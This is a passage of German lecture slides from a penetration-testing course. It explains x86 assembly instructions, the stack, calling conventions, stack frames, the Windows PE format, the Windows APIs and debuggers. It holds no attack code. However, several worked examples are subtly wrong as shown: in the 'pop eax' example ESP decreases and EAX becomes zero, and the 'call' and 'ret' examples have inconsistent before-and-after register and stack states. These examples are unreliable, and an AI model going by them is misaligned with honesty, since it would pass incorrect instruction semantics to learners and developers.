![Page 228: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/228.jpg)
Daniel Schalberger, SySS GmbH
228 März 2015 Penetration Testing
Befehls-Satz
Hunderte verschiedener Befehle
aber
ca. 10 Befehle machen über 80% des Codes aus
ca. 20 Befehle machen über 95% des Codes aus
![Page 229: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/229.jpg)
Daniel Schalberger, SySS GmbH
229 März 2015 Penetration Testing
#1 nop
• Tut gar nichts
• Opcode ist nut 1 Byte groß
• Wird als „Füllmasse“ für Speicherbereiche verwendet, z.B. beim Patchen
• Wichtig in der Exploit-Entwicklung
• Intern gleichbedeutend mit xchg eax,eax
![Page 230: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/230.jpg)
Daniel Schalberger, SySS GmbH
230 März 2015 Penetration Testing
Der Stack 1
• Datenstruktur im Speicher
• LIFO-Prinzip
• Elemente werden – auf den Stack „gepusht“
– Von Stack „gepoppt“
• Stack wächst von oben
nach unten
niedrige Adresse
hohe Adresse
![Page 231: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/231.jpg)
Daniel Schalberger, SySS GmbH
231 März 2015 Penetration Testing
Der Stack 2
• ESP zeigt immer auf die Spitze des Stacks (TOS = Top of Stack)
• Bereiche unterhalb von ESP sind undefiniert
• Der Stack wird verwendet um – Lokale Variablen anzulegen
– Parameter an Funktionen zu übergeben
– Informationen über zuvor aufgerufene Funktionen zu speichern
• Verständnis für den Stack ist essentiell, wenn man ein Programm auf Assembler-Ebene verstehen will
![Page 232: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/232.jpg)
Daniel Schalberger, SySS GmbH
232 März 2015 Penetration Testing
#2 push
• Legt ein DWORD (4 Byte) auf dem Stack ab
• Reduziert den Stack-Pointer (ESP) automatisch um 4 Byte
• Parameter kann sowohl Konstante als auch Register sein
push eax
push 0x100
![Page 233: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/233.jpg)
Daniel Schalberger, SySS GmbH
233 März 2015 Penetration Testing
Beispiel: push eax
Adresse Wert
0x0012AA80 undefined
0x0012AA84 undefined
0x0012AA88 undefined
0x0012AA8C 0x00000003
0x0012AA90 0x00000002
0x0012AA94 0x00000001
Vorher:
Register Wert
eax 0x00000010
esp 0x0012AA8C
Adresse Wert
0x0012AA80 undefined
0x0012AA84 undefined
0x0012AA88 0x00000010
0x0012AA8C 0x00000003
0x0012AA90 0x00000002
0x0012AA94 0x00000001
Danach:
Register Wert
eax 0x00000010
esp 0x0012AA88
![Page 234: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/234.jpg)
Daniel Schalberger, SySS GmbH
234 März 2015 Penetration Testing
#3 pop
• Entfernt ein Element vom Stack und legt es in einem Register ab
• Erhöht ESP automatisch um 4
pop eax
pop ebp
![Page 235: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/235.jpg)
Daniel Schalberger, SySS GmbH
235 März 2015 Penetration Testing
Beispiel: pop eax
Adresse Wert
0x0012AA80 undefined
0x0012AA84 undefined
0x0012AA88 undefined
0x0012AA8C 0x00000003
0x0012AA90 0x00000002
0x0012AA94 0x00000001
Vorher:
Register Wert
eax 0x00000010
esp 0x0012AA8C
Adresse Wert
0x0012AA80 undefined
0x0012AA84 undefined
0x0012AA88 0x00000010
0x0012AA8C 0x00000003
0x0012AA90 0x00000002
0x0012AA94 0x00000001
Danach:
Register Wert
eax 0x00000000
esp 0x0012AA88
![Page 236: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/236.jpg)
Daniel Schalberger, SySS GmbH
236 März 2015 Penetration Testing
#4 call
Ruft ein Unterprogramm („Funktion“) auf:
1. Speichert die Adresse der nächsten Anweisung auf dem Stack
2. Ändert EIP auf die angegebene Adresse der Funktion (Sprungziel)
call 0x0040105A call eax
![Page 237: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/237.jpg)
Daniel Schalberger, SySS GmbH
237 März 2015 Penetration Testing
Beispiel: call 0x0040105A
Adresse Wert
0x0012AA80 undefined
0x0012AA84 0x00401025
0x0012AA88 0x00000010
0x0012AA8C 0x00000003
0x0012AA90 0x00000002
0x0012AA94 0x00000001
Vorher:
Register Wert
eip 0x0040105A
esp 0x0012AA84
Adresse Wert
0x0012AA80 undefined
0x0012AA84 undefined
0x0012AA88 0x00000010
0x0012AA8C 0x00000003
0x0012AA90 0x00000002
0x0012AA94 0x00000001
Danach:
Register Wert
eip 0x00401020
esp 0x0012AA88
![Page 238: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/238.jpg)
Daniel Schalberger, SySS GmbH
238 März 2015 Penetration Testing
#5 ret
Rücksprung aus einer Funktion
Es gibt 2 Formen: 1. Holen der Rücksprungadresse vom Stack und Sprung
dorthin 2. Holen der Rücksprungadresse vom Stack und Sprung
dorthin, anschließend x Byte von Stack entfernen
ret ret 0xC (je nach Disassembler auch „retn“)
![Page 239: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/239.jpg)
Daniel Schalberger, SySS GmbH
239 März 2015 Penetration Testing
Beispiel: ret 0x8
Adresse Wert
0x0012AA80 undefined
0x0012AA84 0x00401025
0x0012AA88 0x00000004
0x0012AA8C 0x00000003
0x0012AA90 0x00000002
0x0012AA94 0x00000001
Vorher:
Register Wert
eip 0x0040105A
esp 0x0012AA84
Adresse Wert
0x0012AA80 undefined
0x0012AA84 undefined
0x0012AA88 undefined
0x0012AA8C undefined
0x0012AA90 0x00000002
0x0012AA94 0x00000001
Danach:
Register Wert
eip 0x00401025
esp 0x0012AA90
![Page 240: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/240.jpg)
Daniel Schalberger, SySS GmbH
240 März 2015 Penetration Testing
Unterprogramme
Problem:
• Funktionen erwarten Parameter • Funktionen haben Rückgabe-Wert
• Kommunikation zwischen Hauptprogramm und
Funktion kann erfolgen über – Globale Variablen – Stack – Register
![Page 241: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/241.jpg)
Daniel Schalberger, SySS GmbH
241 März 2015 Penetration Testing
Beispiel 1: Hello.c
.text:00401000 push ebp
.text:00401001 mov ebp, esp
.text:00401003 push offset aHello
.text:00401008 call sub_401014
.text:0040100D add esp, 4
.text:00401010 xor eax, eax
.text:00401012 pop ebp
.text:00401013 retn
#include<stdio.h>
int main() {
printf("Hello World\n");
return 0;
}
![Page 242: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/242.jpg)
Daniel Schalberger, SySS GmbH
242 März 2015 Penetration Testing
Aufrufkonventionen
Wie Parameter übergeben werden ist compilerabhängig. Es gibt Standards, um Kompatibilität zwischen Programmen und Bibliotheken zu sichern. Man nennt dies Aufruf-Konventionen. • cdecl • stdcall • fastcall • pascal
![Page 243: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/243.jpg)
Daniel Schalberger, SySS GmbH
243 März 2015 Penetration Testing
cdecl
• „c declaration“ – häufigste Aufruf-Art
• Parameter werden von rechts nach links auf den Stack gelegt
• Rückgabewert wird in eax zurückgegeben
• Aufrufender Code ist für das Aufräumen des Stack zuständig
![Page 244: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/244.jpg)
Daniel Schalberger, SySS GmbH
244 März 2015 Penetration Testing
cdecl Beispiel
int func (int a, int b, int c) {…} push c push b push a call func add esp, 0xC Funktions-Rückgabewert ist in eax
![Page 245: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/245.jpg)
Daniel Schalberger, SySS GmbH
245 März 2015 Penetration Testing
stdcall
• „standard call“ – typisch für Microsoft-Code (z.B. Win32-API)
• Parameter werden von rechts nach links auf den Stack gelegt
• Rückgabewert wird in eax zurückgegeben
• Aufgerufener Code ist für das Aufräumen des Stack zuständig
![Page 246: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/246.jpg)
Daniel Schalberger, SySS GmbH
246 März 2015 Penetration Testing
fastcall
• fastcall, sehr laufzeit-effizient
• erste drei Parameter werden in eax, edx und ecx übergeben
• übrige Parameter werden von rechts nach links auf den Stack gelegt
• Rückgabewert wird in eax zurückgegeben
• Aufgerufener Code ist für das Aufräumen des Stack zuständig
![Page 247: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/247.jpg)
Daniel Schalberger, SySS GmbH
247 März 2015 Penetration Testing
pascal
• Von Borland-Compilern (Pascal, Delphi, C++ Builder) verwendet
• Parameter werden von links nach rechts auf den Stack gelegt
• Rückgabewert wird in eax zurückgegeben
• Aufrufender Code ist für das Aufräumen des Stack zuständig
![Page 248: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/248.jpg)
Daniel Schalberger, SySS GmbH
248 März 2015 Penetration Testing
Register-Konventionen
• Bei Funktionsaufrufen dürfen folgende Register am Ende der Funktion verändert sein: EAX, ECX, EDX, EFlags
• Wiederhergestellt werden müssen: EBX, ESI, EDI, EBP
• Sonderfall ESP (hängt von Aufruf-Konvention ab)
• EIP wird durch return wiederhergestellt
![Page 249: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/249.jpg)
Daniel Schalberger, SySS GmbH
249 März 2015 Penetration Testing
Stack Frames 1
1 push ebp
2 mov ebp, esp
3 sub esp, 8
1: BP wird auf dem Stack gesichert 2: BP wird auf TOS gesetzt 3: TOS wird 8 Byte nach unten geschoben Warum?
![Page 250: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/250.jpg)
Daniel Schalberger, SySS GmbH
250 März 2015 Penetration Testing
Stack Frames 2
push par_1 push par_2 call f f (p1, p2) { push ebp mov ebp, esp sub esp, 4 … }
loc_1
return address
saved ebp
par_1
par_2
…
…
old saved ebp
Stack-Frames bilden im Speicher eine verkettete Liste
![Page 251: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/251.jpg)
Daniel Schalberger, SySS GmbH
251 März 2015 Penetration Testing
Beispiel 2: Function.c .text:00401000 push ebp
.text:00401001 mov ebp, esp
.text:00401003 mov eax, [ebp+arg_0]
.text:00401006 add eax, [ebp+arg_4]
.text:00401009 mov [ebp+arg_0], eax
.text:0040100C mov eax, [ebp+arg_0]
.text:0040100F pop ebp
.text:00401010 retn
.text:00401020 push ebp
.text:00401021 mov ebp, esp
.text:00401023 push ecx
.text:00401024 push 14h
.text:00401026 push 0Ah
.text:00401028 call sub_401000
.text:0040102D add esp, 8
.text:00401030 mov [ebp+var_4], eax
.text:00401033 mov eax, [ebp+var_4]
.text:00401036 push eax
.text:00401037 push offset ergebnis
.text:0040103C call sub_40104A
.text:00401041 add esp, 8
.text:00401044 xor eax, eax
.text:00401046 mov esp, ebp
.text:00401048 pop ebp
.text:00401049 retn
#include<stdio.h>
int addiere(int p1, int p2) {
p1 = p1 + p2;
return p1;
}
int main() {
int e = addiere(10,20);
printf("Das Ergebnis von
10 + 20 ist %d\n", e);
return 0;
}
![Page 252: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/252.jpg)
Daniel Schalberger, SySS GmbH
252 März 2015 Penetration Testing
Speicherort von Variablen
Lokale Variablen • liegen auf dem Stack • sind über jeweils gültigen Stack-Frame anzusprechen • absolute (globale) Adresse ist nur zur Laufzeit bekannt
Globale Variablen • liegen in Daten-Segment • Compiler kennt die globale Adresse (kann sich aber
durch „Relocation“ ändern)
![Page 253: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/253.jpg)
Daniel Schalberger, SySS GmbH
253 März 2015 Penetration Testing
Moderne Betriebssysteme 1
Betriebssysteme leisten unter anderem
• Programme haben nur eingeschränkten Zugriff auf die Hardware
• Kapselung einzelner Programme • Programmfehler dürfen nicht die Systemstabilität
gefährden • Bereitstellung abstrakter Schnittstellen zur
Hardware • Verteilung von Ressourcen
![Page 254: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/254.jpg)
Daniel Schalberger, SySS GmbH
254 März 2015 Penetration Testing
Moderne Betriebssysteme 2
Unterteilung in mehrere Bereiche: User-Bereich (Ring 3) • normale Programme • Eingeschränkter Zugriff über API Kernel-Bereich (Ring 0) • Kernel, Treiber, etc. • Voller Zugriff auf die Hardware
Ring 1 u. 2 werden von Windows nicht genutzt
0 1 2 3
![Page 255: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/255.jpg)
Daniel Schalberger, SySS GmbH
255 März 2015 Penetration Testing
Moderne Betriebssysteme: Prozess
Ein Prozess ist ein ablaufendes Programm
Besteht aus:
• Programmdatei
• Adressraum
• Mindestens einem Thread
![Page 256: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/256.jpg)
Daniel Schalberger, SySS GmbH
256 März 2015 Penetration Testing
Moderne Betriebssysteme: Thread
Ein Thread ist ein Ausführungsstrang
• Jeder Thread gehört zu einem Prozess und greift auf den selben Adressraum zu
• Jeder Thread hat eigenen Zustand des Prozessors, eigene Register und damit auch eigenen Stack
• Ein Prozess hat am Anfang genau einen Thread und kann bei Bedarf weitere erzeugen
![Page 257: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/257.jpg)
Daniel Schalberger, SySS GmbH
257 März 2015 Penetration Testing
Prozess unter Windows
Ein Windows-Prozess besteht aus
• eigenem virtuellen Adressraum
• Handle-Tabelle (Datei-Deskriptoren etc.)
• Security Token
• zugehörigen Threads
Kernelspace Memory
Userspace Memory
0x00000000
0xFFFFFFFF
![Page 258: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/258.jpg)
Daniel Schalberger, SySS GmbH
258 März 2015 Penetration Testing
Windows-Anwendungen
Anwendungen beinhalten • Programmcode • Daten
– Initialisierte Variablen – Icons – Bilder – Fensterlayout
Verwenden Bibliotheken
![Page 259: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/259.jpg)
Daniel Schalberger, SySS GmbH
259 März 2015 Penetration Testing
Statisch vs. dynamisches Linken
Beim Erzeugen einer ausführbaren Datei müssen Bibliotheken berücksichtigt werden.
statisch: Bibliotheks-Code wird in die ausführbare Datei übernommen.
dynamisch: Code wird zur Laufzeit aus externer Datei (.dll) nachgeladen. Referenziert wird der code i.d.R. über tatsächlichen Funktionsnamen
![Page 260: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/260.jpg)
Daniel Schalberger, SySS GmbH
260 März 2015 Penetration Testing
PE-Dateiformat
Portable Executable Typische Dateiendungen: .exe .dll .scr .sys .drv Imports verraten viel über das Verhalten eines Programms Übung: PE Explorer
MZ-Header
PE Header
Code Section
Data Section
Imports
Resources
![Page 261: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/261.jpg)
Daniel Schalberger, SySS GmbH
261 März 2015 Penetration Testing
PE-Loader
Erzeugen eines neuen Prozesses:
• Initialisieren des Prozesses
• Einzelne Sektionen der PE-Datei in den Speicher laden
• Rekursives Laden benötigter DLLs
• Evtl. Relocation
• Ausführung startet bei „WinMain“
![Page 262: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/262.jpg)
Daniel Schalberger, SySS GmbH
262 März 2015 Penetration Testing
Beispiel Speicher-Layout Memory map of test.exe
Address Size Owner Section Contains
0012E000 00002000 stack of main
00400000 00001000 test PE header
00401000 00001000 test text SFX,data
00402000 00001000 test imports imports
00403000 00001000 test relocs relocations
77DA0000 00001000 Advapi32 PE header
77DA1000 00075000 Advapi32 .text code,imports
77E16000 00005000 Advapi32 .data data
77E1B000 0002A000 Advapi32 .rsrc resources
77E45000 00005000 Advapi32 .reloc relocations
7C800000 00001000 kernel32 PE header
7C801000 00084000 kernel32 .text code,imports
7C885000 00005000 kernel32 .data data
7C88A000 00078000 kernel32 .rsrc resources
7C902000 00006000 kernel32 .reloc relocations
7C910000 00001000 ntdll PE header
7C911000 0007A000 ntdll .text code,exports
7C98B000 00005000 ntdll .data data
7C990000 00033000 ntdll .rsrc resources
7C9C3000 00003000 ntdll .reloc relocations
7E360000 00001000 user32 PE header
7E361000 00060000 user32 .text code,imports
7E3C1000 00002000 user32 .data data
7E3C3000 0002B000 user32 .rsrc resources
7E3EE000 00003000 user32 .reloc relocations
![Page 263: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/263.jpg)
Daniel Schalberger, SySS GmbH
263 März 2015 Penetration Testing
Windows API
Application Programmers Interface Schnittstelle zwischen Anwendungsprogrammen und Betriebssystem High-Level-Aufrufe Besteht aus diversen DLL-Dateien • user32.dll (Fenster, Buttons, Menüs) • advapi.dll (Zusatzfunktionen: Registry, Benutzerverwaltung, Services) • kernel32.dll (Speicherverwaltung, Ein-/Ausgabe, Threads, …) • gdi32.dll (primitive Grafik, Schrift) • ws2_32.dll (Netzwerk)
![Page 264: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/264.jpg)
Daniel Schalberger, SySS GmbH
264 März 2015 Penetration Testing
Native API
Implementiert in ntdll.dll und ntoskrnl.exe
Hier erfolgt, falls nötig, der Wechsel in Ring 0
Abhängigkeiten der
API-DLLs untereinander,
siehe PE-Explorer
kernel32.dll
ntdll.dll
ntoskrnl.exe
sysenter Ring 3 Ring 0
![Page 265: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/265.jpg)
Daniel Schalberger, SySS GmbH
265 März 2015 Penetration Testing
API-Aufrufe
„sprechende“ Funktionsnamen, z.B. • CreateProcess • Messagebox • DestroyWindow Namensgebung am Ende: A: Ansi-Strings (8 Bit pro Zeichen) W: Unicode-Strings (16 Bit pro Zeichen) Ex: Extended, erweiterte Funktion
![Page 266: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/266.jpg)
Daniel Schalberger, SySS GmbH
266 März 2015 Penetration Testing
Übung: „Binary Planting“
Process Monitor
![Page 267: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/267.jpg)
Daniel Schalberger, SySS GmbH
267 März 2015 Penetration Testing
Debugger
• Ermöglicht Analyse zur Laufzeit
Vorteile:
• Bei statischer Analyse stehen nicht alle Informationen zur Verfügung (z.B. Laufzeit-Variablen)
• Statische Analyse nicht möglich (Self-Modifying Code / EXE-Packer)
![Page 268: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/268.jpg)
Daniel Schalberger, SySS GmbH
268 März 2015 Penetration Testing
Typen von Debuggern
• Quelltext-Debugger • Assembler-Debugger
• Lokal • Remote
• Usermode • Kernelmode
![Page 269: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/269.jpg)
Daniel Schalberger, SySS GmbH
269 März 2015 Penetration Testing
Funktionalität
• Programm jederzeit unterbrechen
• Haltepunkte setzen
• Programmzustand (Register, Speicher) ansehen und verändern
• Programm verändern (patchen)
• Einzelschrittausführung
• Automatisch Metainformationen anzeigen (z.B. Parameternamen bei Funktionsaufrufen)
![Page 270: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/270.jpg)
Daniel Schalberger, SySS GmbH
270 März 2015 Penetration Testing
Debugging unter Windows
Die Win32-API unterstützt Debugging direkt • DebugActiveProcess: Debuggen starten • WaitForDebugEvent: Debug-Event abwarten • DebugBreakProcess: Prozess unterbrechen
Debug-Events können sein: CREATE_PROCESS_DEBUG_EVENT, CREATE_THREAD_DEBUG_EVENT, EXCEPTION_DEBUG_EVENT, EXIT_PROCESS_DEBUG_EVENT, EXIT_THREAD_DEBUG_EVENT, LOAD_DLL_DEBUG_EVENT, OUTPUT_DEBUG_STRING_EVENT, UNLOAD_DLL_DEBUG_EVENT
![Page 271: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/271.jpg)
Daniel Schalberger, SySS GmbH
271 März 2015 Penetration Testing
